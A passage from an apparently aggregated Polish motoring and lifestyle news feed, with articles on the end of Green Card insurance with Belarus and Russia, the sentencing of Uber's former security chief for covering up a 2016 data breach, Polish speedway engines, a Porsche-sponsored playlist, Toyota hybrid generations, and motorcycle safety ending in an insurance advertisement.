– To bez wątpienia największa zmiana w całym Systemie w XXI wieku, a być może w całej jego 70-letniej historii i 65-letnim okresie przynależności do niego polskiego rynkuzauważa Mariusz Wichtowski.

Umowy przestaną obowiązywać z dniem 1 czerwca 2023 r. Zgodnie z ich warunkami, zobowiązania dotyczące wzajemnego honorowania certyfikatów Zielonych Kart wystawionych zarówno przez PBUK, jak i Biuro Białoruskie oraz Rosyjskie, wygasną – wówczas dokona się w pełni koniec zielonych kart na wspomnianych kierunkach.

– Po tym terminie Zielone Karty nie będą wystawiane przez Członków PBUK, a istniejące certyfikaty stracą swoją ważność na terytorium Białorusi i Federacji Rosyjskiej. Pozostaną jednak nadal ważne w pozostałych krajach Systemu Zielonej Karty, o ile symbol danego kraju nie został wykreślony na certyfikacie – dodaje Mariusz Wichtowski.

Wjazd do państwa bez zielonej karty – co potrzebne

Aby poruszać po drogach państw, w których nie obowiązuje Zielona Karta konieczne będzie wykupienie ubezpieczenia granicznego. Analogiczny obowiązek spoczywać będzie na kierujących pojazdami z rejestracjami białoruskimi i rosyjskimi, wjeżdżającymi do naszego kraju. Ubezpieczenie graniczne to polisa OC posiadaczy pojazdów mechanicznych, ważna na terytorium państwa wjazdowego, zawierana na krótki czas – zazwyczaj 30 dni. Swą potoczną nazwę bierze od miejsca zakupu, czyli przejścia granicznego. 

Gdzie zielona karta jest potrzebna? Dowiesz się tu.

Source: To koniec Zielonych Kart! Ogromna zmiana w 65-letniej historii Polski w tym systemie

Były CSO Ubera unika więzienia po zatuszowaniu naruszenia danych kierowców i pasażerów

Dyrektor ds. bezpieczeństwa – CSO Uber – został uznany za winnego i skazany przez amerykańskiego sędziego federalnego. Jednak kontrowersje budzi wyjątkowo niski wyrok, który otrzymał Joe Sullivan.

Wyciek danych z Ubera

Joe Sullivan, były szef bezpieczeństwa w Facebooku, zajmował to stanowisko (CSO) w firmie Uber w październiku 2016 r. Wówczas doszło do kradzieży danych przez hakerów. Dane te zawierały nazwiska, adresy e-mail i numery telefonów klientów i kierowców.

W trakcie śledztwa okazało się, że bezpośrednią przyczyną włamania nie było złamanie systemów antywirusowych, lecz nieostrożność programistów. Zostawili oni swoje dane logowania w zasobniku Amazon Web Services, używanym przez Ubera, w repozytorium GitHub.

Hakerzy ukradli dane z zasobnika AWS i skontaktowali się z Uberem, żądając okupu.

Joe Sullivan podjął szereg decyzji – nietypowych dla tak dużej organizacji, ale też nietypowych dla CSO (Chief Security Officer) zajmującego się m.in. naruszeniem danych.

  • Zdecydował się nie informować ofiar wycieku o tym, że ich dane zostały skradzione.
  • Zdecydował się nie mówić organom regulacyjnym o naruszeniu danych, ani nie informować władz o cyberincydencie.

Sullivan, zamiast powiadomić odpowiednie organy władz, zatuszował włamanie i potajemnie spotkał się z hakerami. Zapłacił im sto tysięcy dolarów za podpisanie umowy o zachowaniu poufności, zgodnie z którą wiadomość o naruszeniu nigdy nie zostanie upubliczniona. Co ciekawe, opłacenie hakerów zostało „podpięte” pod program nagród za błędy. Wszystko po to, aby uniknąć pytań o zniknięcie tak dużych środków z konta firmy.

Uber taksówka na aplikację

Mówisz „taksówka”, myślisz „Uber”, fot. Charles Deluvio on Unsplash

Podczas ostatniej rozprawy prokuratorzy twierdzili, że były zarząd skłonił Sullivana do zatuszowania awarii bezpieczeństwa, próbując zarówno chronić renomę firmy, jak i zabezpieczyć się przed ucieczką kierowców do rywali Ubera.

Prokuratorzy uznali kierowców za „oszukanych”, ponieważ nie zostali oni poinformowani o własnej krzywdzie (zagrożeniu atakami phishingowymi) spowodowanej błędem pracowników Ubera, a mimo to wciąż dzielili się z firmą częścią swoich zarobków.

Były CSO Ubera unika więzienia – kontrowersje wokół wyroku

Sullivan, który sam jest byłym prokuratorem federalnym, a po opuszczeniu Ubera został mianowany CISO (Chief Information Security Officer) Cloudflare, dostał ostrzeżenie, że grozi mu wiele lat więzienia.

Jednak w zeszłym tygodniu poinformowano, że otrzymuje trzyletni wyrok w zawieszeniu, unikając kary więzienia.

„Gdybym jutro miał podobną sprawę, nawet gdyby oskarżonym był papież Franciszek, to trafiłby on do więzienia” – powiedział Sullivanowi sędzia federalny z Północnego Dystryktu Kalifornii, William Orrick.

W kolejnych słowach tłumaczył swój wyrok tym, że sytuacja ta była jednorazowa i nietypowa, jak na 2016 rok. Sędzia jednak zastrzegł, że kolejni przestępcy, którzy zatają wycieki danych w swoich firmach, będą traktowani bardziej rygorystycznie.

„Wyjątkowo niski wyrok dla byłego CSO Ubera z pewnością można postrzegać jako kontrowersyjny. Szczególnie bulwersujące były pobudki, którymi kierował się Joe Sullivan, czyli próba ratowania reputacji i chęć oszukania swoich pracowników, aby ci nie zmienili pracodawcy. Musimy jednak pamiętać o dwóch kwestiach. Po pierwsze w Stanach Zjednoczonych panuje prawo precedensowe i nie funkcjonuje tam RODO. Po drugie skazywanie osób odpowiedzialnych za niezawiadomienie organów władzy o wyciekach danych jest czymś stosunkowo nowym. Przez długi czas opinia publiczna uważała, że firmy, które w jakiś sposób „współpracowały” z cyberprzestępcami, zostały do tego zmuszone, wybrały mniejsze zło i poniosły już odpowiednią karę. Jednak coraz większa świadomość tego, co może się dziać ze skradzionymi danymi, do czego mogą być wykorzystane i to, że wśród nich mogą być także nasze dane, zmieniło pogląd społeczeństwa na temat niedociągnięć w zabezpieczaniu zasobów przez firmy. Pomimo tego, że w przypadku CSO Ubera możemy mówić o wyjątkowo niskim wyroku, to skazanie go na karę w zawieszeniu jest ostrzeżeniem dla całej branży cyberbezpieczeństwa” – mówi Mariusz Politowicz z firmy Marken Systemy Antywirusowe, polskiego dystrybutora oprogramowania Bitdefender.

Source: Były CSO Ubera unika więzienia po zatuszowaniu naruszenia danych kierowców i pasażerów

Polski silnik do motocykla żużlowego? Nie uwierzysz – dziś kosztuje krocie jako przedmiot kolekcjonerski!

W latach 1950-1954, czyli świetlanych czasach rozkwitu speedwaya w Polsce, działała w Rzeszowie sekcja motorowa Zrzeszenia Sportowego „Stal”. Wówczas jego działaczom przyszła do głowy idea zbudowania silnika polskiej konstrukcji do motocykla żużlowego. Niewiele osób wie, że polski silnik do motocykla żużlowego naprawdę powstał!

fot. speedway.hg.pl
Polski silnik do motocykla żużlowego

Polski silnik do motocykla żużlowego

Polski silnik do motocykla żużlowego został skonstruowany w Wytwórni Sprzętu Komunikacyjnego w Rzeszowie. Zaprojektowali go dwaj inżynierowie: Tadeusz Fedko i Romuald Iżewski, zawodowo związani z Rzeszowską Stalą. Pochodzenie inżynierów zadecydowało o nadaniu nazwy jednostce – FIS – wywodzącej się od skrótu Fedko-Iżewski-Stal.

Pod koniec kwietnia 1954 roku – oparty na brytyjskiej konstrukcji jednostki JAP (model z 1949 roku) – silnik był w pełni gotowy. Jego pierwsze testy wypadły zadowalająco.

W stosunku do swojego protoplasty krajowy produkt przeszedł liczne udoskonalenia. Różnice dotyczyły głównie średnicy zaworów, zmiany czasów zaworowych, wielkości krzywek oraz zastosowania innych materiałów do budowy jednostki.

FIS-1 – polski silnik do motocykla żużlowego

Debiut (FIS-1) odbył się 12 maja 1954 roku na rzeszowskim torze. Silnik wbudowano w ramę angielskiego motocykla Excelsior. Jednoślad był testowany przez Eugeniusza Nazimka (członka kadry Zrzeszenia Sportowego „Gwardia”). Próby potwierdziły, że polski FIS w niczym nie odbiega od JAP’ów i z biegiem czasu postanowiono montować go w ramy skonstruowane na wzór Rotraxów. Produkcja seryjna silnika ruszyła w roku 1959 w Polskich Zakładach Lotniczych w Rzeszowie.

Niedługo po pierwszych testach PZL nawiązały współpracę z WSK w Mielcu, która podjęła się wytwarzania ram do motocykli żużlowych. Do produkcji stosowano nowoczesne (jak na tamte czasy) technologie, np. spawanie w osłonie argonu. Obręcze kół początkowo sprowadzano z Wielkiej Brytanii, lecz potem zostały zastąpione produktami polskimi – z parowozowni w Ostrowie Wielkopolskim.

Planowano, że roczna produkcja motocykli FIS osiągnie 400 sztuk, ale to się nie udało. Te, które zjechały z taśmy eksportowano do Włoch i Norwegii, gdzie były eksploatowane jeszcze przez długi czas po ustaniu produkcji. W kraju motocykl doceniło wielu polskich zawodników, choć zgodnie twierdzili, że wymagał dalszych udoskonaleń.

Koniec produkcji polskiego silnika do motocykla żużlowego

FIS-y były więc przez kilka lat podstawowym sprzętem polskiej reprezentacji żużlowej. Niestety nie pomogło to w jego ocaleniu i w wyniku braku porozumienia pomiędzy wytwórcą, a konstruktorami silnika zaprzestano produkcji jednostki. Sporo też namieszał fakt pojawienia się na rynku silnika ESO. Po ostatecznym wstrzymaniu produkcji część FIS-ów odsprzedano do innych krajów, gdzie do dziś stanowią cenione obiekty kolekcjonerskie. Reszta przepadła jak kamień w wodę.

Silnik STAL 001-55

Tymczasem w Gorzowie Wielkopolskim w ciągu dwóch miesięcy po powyższych decyzjach powstał konkurencyjny silnik. W roku 1955 członkowie sekcji motorowej wykonali prototyp silnika STAL 001-55 przy gorzowskich Zakładach Mechanicznych. Zakładano wykonanie dziewięciu jednostek, czyli liczby, która pozwoliłaby na swobodny start w lidze żużlowej. Jednak – podobnie jak w przypadku FIS-ów – nie udało się tych planów zrealizować. Z taśmy zjechało w sumie sześć sztuk z częściami zamiennymi.

Ramy, w które wbudowano silniki, były wykonane również w Zakładach Mechanicznych w Gorzowie. Powstały dzięki sympatykom sportu żużlowego – Wiśniewskiemu, Stercelowi oraz Czesławowi Rymszy. 

Kolejne sześć egzemplarzy silników STAL 001-55 wyprodukowano zimą 1955/1956 i na tym etapie zakończono produkcję.

Motocykl żużlowy z silnikiem STAL 001-55

Dane techniczne silnika STAL 001-55

Silnik:                               jednocylindrowy, czterosuwowy, górnozaworowy (OHV)
Pojemność skokowa:      497 ccm
Ilośc zaworów:               2
Rozrząd:                         popychaczowy
Średnica cylindra:          80 mm
Skok tłoka:                      99 mm
Średnica gaźnika:          27 mm
Stopień sprężania:         14,4
Moc maksymalna:          43 KM przy 6000 obr/min
Wskaźnik mocy:             pojemnościowy 86,5 KM/l
Zapłon:                           iskrowy
Opony:                            koło przednie 2,75×23″, tylne 3,00×22″
Zawieszenie przednie:  widelec teleskopowy
Zbiornik paliwa:             2 litry
Układ smarowania:        sucha miska olejowa, obieg smarowania otwarty
Wymiary motocykla:      długość: 2050 mm, szerokość 800 mm (z kierownicą), wysokość 1140 mm, 
Masa:                             92 kg

Source: Polski silnik do motocykla żużlowego? Nie uwierzysz – dziś kosztuje krocie jako przedmiot kolekcjonerski!

Hania Rani i Porsche – stworzyła specjalną playlistę. Idealna na trasę!

Pochodząca z Gdańska Hania Rani to dziś jedna z najbardziej docenianych polskich artystek młodego pokolenia na świecie. Jej odwagę w realizowaniu pasji i przecieraniu muzycznych szlaków dostrzegła i doceniła marka Porsche, która od lat – pod hasłem „Napędzani Marzeniami” – wspiera najciekawszych i wyróżniających się przedstawicieli różnych dziedzin. Wśród dotychczasowych Przyjaciół Porsche są m.in. jeden z najbardziej znanych kompozytorów młodego pokolenia Jimek oraz zawodowy pilot akrobacyjny Łukasz Czepiela.

Hania mówi, że największą siłą napędową jej działań jest niesłabnąca miłość do tego, co robi, a niepokojem napawa ją wizja chodzenia na kompromisy i wybierania prostszych dróg.

Hania Rani Porsche


Moim wielkim marzeniem było wydać płytę za granicą, bo w moich oczach wiązało się to z dużą swobodą twórczą, graniem dla ludzi na całym świecie, podróżowaniem i poznawaniem innych kultur. Postanowiłam zaryzykować i wysłać maila do mojej ukochanej wytwórni oraz otworzyć się na współpracę z zagranicznymi artystami. Bałam się, ale ciekawość i potrzeba sprawdzenia, czy dam radę, są we mnie silniejsze. Myślę, że to napędza większość moich projektów – mówi pianistka i kompozytorka Hania Rani.

Odpowiedź na maila dostała jeszcze tego samego dnia, a wspomniana wymarzona wytwórnia, czyli brytyjska Gondwana Records, wydała zarówno jej debiutancką płytę „Esja”, jak i kolejne solowe albumy.

Hania Rani i Porsche

Hania Rani, która wiele czasu spędza w podróży między miejscami koncertów, przyjęła propozycję Porsche, by przygotować specjalną, autorską playlistę z ulubionymi utworami. Sama, jak przyznaje, słucha na co dzień mocno zróżnicowanej muzyki.

Bardzo lubię playlisty, bo są jak minialbumy, które można stworzyć, zbierając emocje innych artystów. Znajduję w tym wielką radość, ale lubię słuchać też muzyki skompilowanej przez innych. Mam nadzieję, że udało mi się stworzyć coś przyjemnego – mówi artystka.

Swoją prawie dwuipółgodzinną playlistę zatytułowała „You Have Time”:

W codziennym zabieganiu trudno znaleźć czas na uważne słuchanie muzyki, a długie podróże dają nam go dużo. Pomyślałam, że taki dobór kompozycji świetnie sprawdziłby się u mnie właśnie w długich podróżach autem, szczególnie z pięknymi widokami za oknem i niezakłóconą możliwością wsłuchania się w całą dramaturgię zaproponowanych utworów.

Hania sięgnęła po twórczość takich artystów, jak The Smile, Forgiveness, Valentina Magaletti, Portico Quartet, Federico Albanese, James Blake, Nils Frahm, Nicolas Jaar, Biosphere, Kae Tempest, Agnes Obel i wielu innych. Jak zauważa, wybrane przez nią utwory łączy motyw pulsującego rytmu – „czasem bardzo wyraźnie, czasem jedynie podskórnie”.

Inspiracją przy tworzeniu playlisty była dla Hani również podróż na Islandię, gdzie powstawała sesja zdjęciowa z marką Porsche:

Islandia jest pasmem niesamowitych krajobrazów, kolorów i odcieni, które cały czas się zmieniają. Byłam tam wiele razy, a nawet nagrywałam tam płytę, i wszystkie te doświadczenia były bardzo pięknymi momentami. Tworząc playlistę, chciałam zamknąć w niej również przeżycia i emocje, jakie mi wtedy towarzyszyły.

Playlisty stworzonej przez Hanię Rani posłuchać można pod tym adresem.

Source: Hania Rani i Porsche – stworzyła specjalną playlistę. Idealna na trasę!

Hybryda Toyoty – porównanie 5. generacji: różnice, dane techniczne, opinia

Spis treści

Na podwarszawskim Torze Modlin, miałam okazję sprawdzić w praktyce jak działa hybryda Toyoty – trzy ostatnie generacje tych napędów. Poznałam odpowiedź na pytania, które z pewnością zadaje sobie wiele użytkowników modeli japońskiej marki – nie znajdziemy ich w katalogu producenta czy salonie sprzedaży.

  • Jakie są techniczne różnice pomiędzy poszczególnymi generacjami?
  • Jaka jest faktyczna oszczędność paliwa w każdej z trzech ostatnich generacji?
  • Jaki udział w jeździe ma jazda bezemisyjna „na samym prądzie”?

Poznajmy zatem bliżej hybrydy Toyoty.

Toyota Prius 1 generacji

Hybrydy Toyoty – początki

25 lat temu zadebiutowała Toyota Prius – był to pierwszy seryjny samochód z napędem hybrydowym. Obecnie, wraz z Corollą Cross i Corollą z rocznika 2023, na rynek weszła już piąta generacja napędu hybrydowego.

Obecnie gama samochodów hybrydowych Toyoty rozrosła się do ponad 40 modeli z niemal wszystkich segmentów. Łączna ich sprzedaż przekroczyła 20 milionów pojazdów, a ostatnie 10 milionów opuściło salony w ciągu pięciu lat. W Polsce sprzedaż hybryd rozpoczęła się w 2004 roku i do dziś przekroczyła 190 tys. aut. 

Miałam okazję sprawdzić trzy ostatnie generacje w praktyce, na Torze Modlin pod Warszawą. Zanim jednak przejdziemy do faktycznych wrażeń z jazdy i różnic odczuwalnych dla kierowcy, kilka słów na temat technologii zastosowanej w napędach hybrydowych Toyoty.

Toyota Prius – pierwsza hybryda w Polsce

Pierwszą hybrydą Toyoty, jaka pojawiła się na polskim rynku był Prius II generacji, który zadebiutował w Polsce w 2004 roku. Trzecia generacja hybryd pojawiła się w 2009 roku. Rok później – oprócz Priusa – napęd hybrydowy otrzymał również model Toyota Auris – to właśnie nim, jako najstarszym przedstawicielem trzech ostatnich generacji hybryd japońskiej marki, miałam okazję jeździć po torze.

W 2015 roku zadebiutowała zupełnie nowa architektura TNGA, na której oparte są dziś wszystkie stosowane przez japońską markę płyty podłogowe. Wówczas pojawił się też napęd hybrydowy 4. generacji. Trafił do wielu modeli: C-HR, RAV4 Hybrid, Corolla Hybrid.

W tym roku debiutuje 5. generacja hybrydowego napędu Toyoty.

Hybryda Toyoty – pierwsza generacja

To, co pozostaje niezmienne od lat, to podstawowe zasady działania hybrydowego napędu japońskiej marki. Stanowi on połączenie silnika benzynowego, elektrycznego, generatora oraz akumulatora trakcyjnego. Całością steruje komputer, rozkładając moc za pośrednictwem przekładni planetarnej, pozbawionej sprzęgieł i pasów. Ta opatentowana przez Toyotę przekładnia stanowi kluczowy element decydujący o sprawności napędu hybrydowego. Umożliwia ona:

  • ruszenie pojazdem wyłącznie na silniku elektrycznym,
  • używanie silnika benzynowego w optymalnym dla jego efektywności zakresie obrotów.

Przekładnia pierwszego Priusa zarządzała pracą silnika benzynowego o pojemności 1.5 l i mocy 58/72 KM, silnika elektrycznego o mocy 40 /44 KM, generatora i akumulatora niklowo-wodorkowego, przy użyciu falownika, zamieniającego prąd przemienny na stały i odwrotnie.

Toyota Prius 2. generacji 2008

Hybryda Toyoty – druga generacja

W drugiej generacji napędu hybrydowego zwykły falownik został zastąpiony konwerterem Boost, który nie tylko zmienia prąd między stałym a przemiennym, ale zwiększa napięcie. Pozwoliło to zastosować wydajniejszy silnik elektryczny. Ten z pierwszej generacji pracował z napięciem 274 V, w drugiej już 500 V. Zmniejszono także liczbę ogniw akumulatora – z 228 do 168 – co pozwoliło ograniczyć wielkość baterii i umieścić ją pod podłogą.

Mniejsza liczba ogniw to mniejszy, lżejszy i tańszy w produkcji akumulator. Spadł więc koszt produkcji hybryd, choć klienci w salonach nie odczuli specjalnej obniżki.

Prius drugiej generacji nadal był napędzany silnikiem 1,5 l, ale jego moc wzrosła do 79 KM, a większy silnik elektryczny generował 50 kW, czyli 68 KM mocy.

Toyota Prius 3. generacja

Hybryda Toyoty – trzecia generacja

Co zmieniło się w trzeciej generacji hybrydy Toyoty? Przekładnia planetarna zyskała towarzystwo w postaci skrzyni redukcyjnej. Układ ten pozwalał wydajniej korzystać z silnika elektrycznego, dając dostęp do maksymalnego momentu obrotowego z jednostki elektrycznej w szerszym zakresie obrotów.

Po raz pierwszy w tej generacji Toyota zdecydowała się też na zastąpienie udoskonalanej systematycznie baterii niklowo-wodorkowej akumulatorem litowo-jonowym, ale dotyczyło to tylko jednego modelu: minivana Prius+, który ze względu na obecność w kabinie 3 rzędów siedzeń nie mógł mieć baterii pod tylną kanapą. Inżynierowie znaleźli rozwiązanie, zastąpili ogniwa Ni-Mh ogniwami Li-Ion. W efekcie mniejsza i lżejsza bateria zmieściła się w… podłokietniku trójrzędowego Priusa+.

Standardowy napęd 3. generacji hybryd Toyoty to większy silnik benzynowy o pojemności 1.8 l, a także mocniejszy (60 kW/82 KM) i zasilany jeszcze wyższym napięciem (650 V) silnik elektryczny. Moc całego układu wzrosła do 136 KM, oprócz tego powstało też kilka innych wariantów mocy. Była to też pierwsza generacja, w której pojazd jadący w trybie EV mógł rozpędzić się do 70 km/h.

Toyota Corolla 4. generacja hybrydy

Hybryda Toyoty – czwarta generacja i TNGA

Pojawienie się w japońskim koncernie architektury TNGA było technologiczną rewolucją, która spowodowała, że wiele wcześniej stosowanych rozwiązań w autach tej marki zostało gruntownie przemodelowanych. Dotyczy to również napędu hybrydowego, którego czwarta generacja jest całkowicie przekonstruowanym rozwiązaniem.

Toyota chwali się, że hybrydy 4. generacji są o 41% bardziej wydajne od pierwszego Priusa. Imponująca jest też sprawność silnika benzynowego nieznacznie przekraczająca 40%. Uzyskano to nie tyle jakimś potężnym technologicznym przełomem, co optymalizacją każdego etapu i elementu konstrukcyjnego (m.in. lżejsze i wytrzymalsze materiały itp.), co umożliwiała nowa architektura TNGA. Oprócz zwiększenia sprawności silnika spalinowego wprowadzono też segmentowe uzwojenie silnika elektrycznego, co wpłynęło na lepszą jego wydajność, przy jednoczesnym zmniejszeniu gabarytów i uzyskaniu lżejszej konstrukcji tego elementu.

Hybrydy 4. generacji dysponują silnikami elektrycznymi o niemal trzykrotnie większej maksymalnej prędkości obrotowej (wzrost z 6 000 obr./min w 1. generacji do 17 000 obr./min w 4. generacji). Dzięki temu prędkość maksymalna samochodu w trybie EV wzrosła z 50 km/h (w 1. generacji), czy 70 km/h (w 3. generacji) do 130 km/h. Kolejną zmianą, która ma wpływ na ogólną efektywność była redukcja masy i szerokości przekładni (dzięki przeprojektowaniu rozmieszczenia silników).

Toyota Corolla z hybrydą 4. generacji

Hybryda Toyoty – piąta generacja. Rzeczywiście nowa?

Najnowsza generacja skupia się przede wszystkim na poprawie komponentów elektrycznych. Pojemność silnika benzynowego nie uległa zmianie, wzrosła za to moc, osiągi, moment obrotowy silnika spalinowego. Łączna moc napędu korzystającego z połączenia nowej jednostki elektrycznej z silnikiem 1.8 to 140 KM. To niby tylko o 18 KM więcej od poprzedniej generacji, ale ponieważ gros tej powiększonej mocy pochodzi z silnika elektrycznego, odczucia podczas jazdy są zauważalnie lepsze. Corolla z tym układem osiąga 100 km/h w czasie 9,2 s. co jest wynikiem o 1,7 sekundy lepszym niż w poprzedniej generacji.

Jeszcze lepszą dynamiką wyróżnia się układ hybrydowy z silnikiem 2.0 l o mocy systemowej wynoszącej 196 KM (0-100 km/h w 7,5 s.). Co ważne, wzrost mocy i dynamiki uzyskano przy jednoczesnej redukcji emisji CO2. Nieznacznej (3 g/km mniej niż 184-konna hybryda 4. generacji), ale zawsze.

Wszystkie elementy układu napędowego zostały udoskonalone – są około 20-30 procent mniejsze od tych w czwartej generacji, a wydajność napędu wzrosła o ponad 10%. Nowa bateria litowo-jonowa jest mniejsza i o 14% lżejsza od baterii litowo-jonowej stosowanej w napędach hybrydowych czwartej generacji, a jednocześnie ma o 14% większą moc i nowy układ chłodzenia. W porównaniu z baterią niklowo-wodorkową jej masa spadła o 18 kg. Silniki elektryczne zostały zaprojektowane od nowa. W układzie napędowym z pojemnością 1.8 l, moc silnika elektrycznego MG2 wzrosła o 23 KM, zaś w układzie 2.0 l o 5 KM.

Nowy jest także falownik o większej wydajności, jednostka sterująca PCU, która ograniczyła straty energii o 6%, oraz układy smarowania i rozprowadzania oleju, które wykorzystują olej o niskiej lepkości, zmniejszając straty mechaniczne. A jak się jeździ trzema ostatnimi generacjami?

Hybrydy Toyoty – różnice między generacjami

Cóż, różnice są wyczuwalne. Najbardziej między pierwszą i ostatnią generacją, co jest oczywiste. Choć w Modlinie nie było 1. generacji Priusa, to pamiętam swoje wrażenia z jazdy tym modelem. Wiem, że droga, jaką przebyła Toyota, jeśli chodzi o technologię hybrydową, jest wręcz spektakularna – w końcu to wzrost wydajności o ponad połowę. Niestety o silniku spalinowym, zawieszeniu, wygłuszeniu wnętrza, czy designie w środku auta już tego powiedzieć nie mogę…

Między trzecią a czwartą generacją hybryd Toyoty różnica jest znacząca – auto jest bardziej energiczne, chętne do przyspieszania, ale też wydaje się wyraźnie lżejsze i skore do żwawszego pokonywania zakrętów. Jednak między czwartą i piątą generacją już takiej przepaści nie ma. Choć moc wzrosła, odczucia podczas przyspieszania są zbieżne.

Hybryda Toyoty

Toyota generacje hybryd

Miałam możliwość jazdy 5. generacją określoną jako egzemplarz przedprodukcyjny i nie wiem, czy to ze względu na ten fakt, czy eksploatację tego modelu na torze, auto wydawało z siebie nieco dziwne dźwięki. Pochodziły wyraźnie z napędu. Zakładam, że to problem tej jednej, testowanej przez wielu dziennikarzy sztuki.

Próba, jaka została ustawiona na torze jako testowa, uniemożliwiała jazdę z wyższą prędkością niż 50 km/h. Mogłam więc wyrobić sobie zdanie na temat poruszania się w mieście. Przy takim użytkowaniu hybryd Toyoty mają one najwięcej sensu – zużywają najmniej, wręcz szokująco mało, są w miarę ciche i jeździ się nimi komfortowo. W miejskich warunkach są w stanie poruszać się nawet przez 70-80% czasu jazdy wyłącznie na silniku elektrycznym. Przyczyniają się do radykalnego obniżenia emisji niespalinowych – dzięki hamowaniu z wykorzystaniem rekuperacji zostało znacząco ograniczone ścieranie klocków hamulcowych.

Toyota Corolla Hybrid – i jej fenomen w Polsce

Modelem, który zmienił reguły gry na polskim rynku, stała się Corolla 12. generacji. Debiutujące w 2019 roku auto powstało na platformie TNGA-C i otrzymało dwa napędy hybrydowe czwartej generacji do wyboru – układ 1.8 122 KM i nowy napęd Hybrid Dynamic Force 2.0 184 KM. Corolla Hybrid zastąpiła hybrydowego Aurisa i stała się pierwszym modelem z niskoemisyjnym napędem, którego roczna sprzedaż w Polsce przekroczyła 10 000 egzemplarzy. W 2021 roku, trzecim roku obecności na rynku, Corolla stała się najpopularniejszym samochodem w Polsce, a jej hybrydowe wersje pokonały barierę 16 000 egzemplarzy. Co czwarta hybryda Toyoty w Polsce to ten model.

Hybryda Toyoty – galeria zdjęć

Instytut Samar podsumował sprzedaż samochodów w Polsce w 2022 roku i niekwestionowanym liderem naszego rynku jest właśnie Toyota. W ubiegłym roku 72% nowych samochodów Toyoty w Polsce miało napęd hybrydowy – Polacy kupili 71,8 tys. nowych aut japońskiego producenta.

Wynik Toyoty nie powinien dziwić, jeśli wziąć pod uwagę, że w pierwszej dziesiątce najchętniej wybieranych modeli w Polsce, aż pięć należy właśnie do tego producenta. Na podium najczęściej kupowanych przez Polaków aut w 2022 roku znalazły się Toyota Corolla, Toyota Yaris oraz Kia Sportage.

Source: Hybryda Toyoty – porównanie 5. generacji: różnice, dane techniczne, opinia

Jak zadbać o bezpieczeństwo swoje i innych podczas jazdy motocyklem?

Dowiesz się, jakie elementy wyposażenia ochronnego są niezbędne podczas jazdy, jakich zasad należy przestrzegać, aby uniknąć niebezpiecznych sytuacji na drodze, a także jak radzić sobie podczas jazdy w różnych warunkach atmosferycznych. Dzięki tym informacjom, każdy motocyklista będzie mógł świadomie i bezpiecznie korzystać z uroków jazdy na motocyklu.

Bezpieczeństwo na motocyklu: Jak minimalizować ryzyko wypadku?    

Bezpieczeństwo na motocyklu jest kluczowe dla każdego motocyklisty. Wypadki na drodze zdarzają się bardzo często, a ryzyko ich wystąpienia jest jeszcze większe, gdy podróżujemy motocyklem. Dlatego też ważne jest, aby każdy motocyklista wiedział, jak minimalizować ryzyko wypadku. W pierwszej kolejności należy zadbać o odpowiednie wyposażenie ochronne, takie jak kask, kurtka z ochraniaczami, rękawice, buty zabezpieczające kostki, a także ochraniacze na kolana i łokcie. Ważne jest również przestrzeganie zasad bezpiecznej jazdy, takich jak zachowanie odpowiedniej odległości od innych pojazdów, jazda z umiarem, przestrzeganie ograniczeń prędkości oraz wykonywanie manewrów zgodnie z przepisami. Dzięki temu można zminimalizować ryzyko wypadku i cieszyć się bezpieczną i przyjemną jazdą na motocyklu.

Jakich zasad należy przestrzegać, aby uniknąć niebezpiecznych sytuacji na drodze?

Jazda na motocyklu jest inna niż jazda samochodem, dlatego ważne jest, aby każdy motocyklista poznał i przestrzegał podstawowe zasady bezpiecznej jazdy. Po pierwsze, należy zachować odpowiednią odległość od innych pojazdów na drodze, aby mieć wystarczającą przestrzeń na wykonanie nagłego manewru. Po drugie, należy jechać z umiarem i przestrzegać ograniczeń prędkości, ponieważ jazda z nadmierną prędkością może prowadzić do niebezpiecznych sytuacji na drodze. Po trzecie, należy unikać jazdy na granicy możliwości swoich umiejętności i wytrzymałości, aby móc zachować kontrolę nad pojazdem w każdej sytuacji. Ponadto, należy wykonywać manewry zgodnie z przepisami i sygnalizować swoje zamiary, aby dać sygnał innym uczestnikom ruchu drogowego. Przestrzeganie tych zasad może pomóc uniknąć niebezpiecznych sytuacji na drodze i zapewnić bezpieczną jazdę na motocyklu.

Jazda w różnych warunkach atmosferycznych: jak radzić sobie z deszczem, wiatrem, a także śniegiem i lodem?

Jazda na motocyklu w różnych warunkach atmosferycznych może być wyzwaniem dla każdego motocyklisty. Deszcz, wiatr, śnieg i lód mogą wpłynąć na stabilność pojazdu i zwiększyć ryzyko wypadku. Aby bezpiecznie poruszać się po drodze w takich warunkach, warto dostosować swoją jazdę do aktualnych warunków atmosferycznych. Podczas jazdy w deszczu należy zachować ostrożność, ponieważ mokra nawierzchnia może zwiększyć odległość hamowania i zmniejszyć przyczepność opon do drogi. W przypadku silnego wiatru należy utrzymywać stabilną pozycję na motocyklu i unikać nagłych ruchów kierownicą. Podczas jazdy po śniegu i lodzie warto zmniejszyć prędkość i zwiększyć odstęp od innych pojazdów na drodze, aby mieć więcej czasu na reakcję na nieoczekiwane sytuacje. Ważne jest również, aby używać odpowiedniego wyposażenia ochronnego, takiego jak kurtka i rękawice z membraną, które zapewnią ochronę przed wilgocią i chłodem. Przestrzeganie tych zasad pozwoli motocykliście na bezpieczną jazdę w różnych warunkach atmosferycznych.

Przede wszystkim ubezpieczenie motocykla

Zadbaj kompleksowe ubezpieczenie motocykla, które chroni przed konsekwencjami finansowymi różnego rodzaju nieprzewidzianych sytuacji na drodze. Pakiet motocyklowy firmy Compensa zawiera m.in. ubezpieczenie OC, AC oraz NNW, które pozwala na spokojną i bezpieczną jazdę bez obaw o koszty ewentualnych szkód czy wypadków. Ubezpieczenie OC chroni przed szkodami wyrządzonymi innym uczestnikom ruchu drogowego, natomiast AC przed stratą finansową, której przyczyną może być uszkodzenie, zniszczenie czy utrata motocykla (kradzież). Dodatkowo, ubezpieczenie NNW pozwala na otrzymanie świadczenia w przypadku uszczerbku na zdrowiu w wyniku wypadku, a także zwrot kosztów rehabilitacji.

Pakiet motocyklowy firmy Compensa oferuje także wiele dodatkowych opcji, takich jak Assistance, czyli pomoc drogową w razie awarii, czy też ubezpieczenie akcesoriów motocyklowych. Ubezpieczenie motocykla to inwestycja w bezpieczną jazdę, dlatego warto wybrać ofertę, która zapewni maksymalną ochronę w różnych sytuacjach na drodze, taką jak ubezpieczenie motocykla w pakiecie oferowanym przez firmę Compensa. Dowiedz się więcej na https://www.compensa.pl/ubezpieczenie/pakiet-motocykle/

A jeśli szukasz ubezpieczenia komunikacyjnego dla innego pojazdu, sprawdź ubezpieczenie samochodu Compensa

Source: Jak zadbać o bezpieczeństwo swoje i innych podczas jazdy motocyklem?

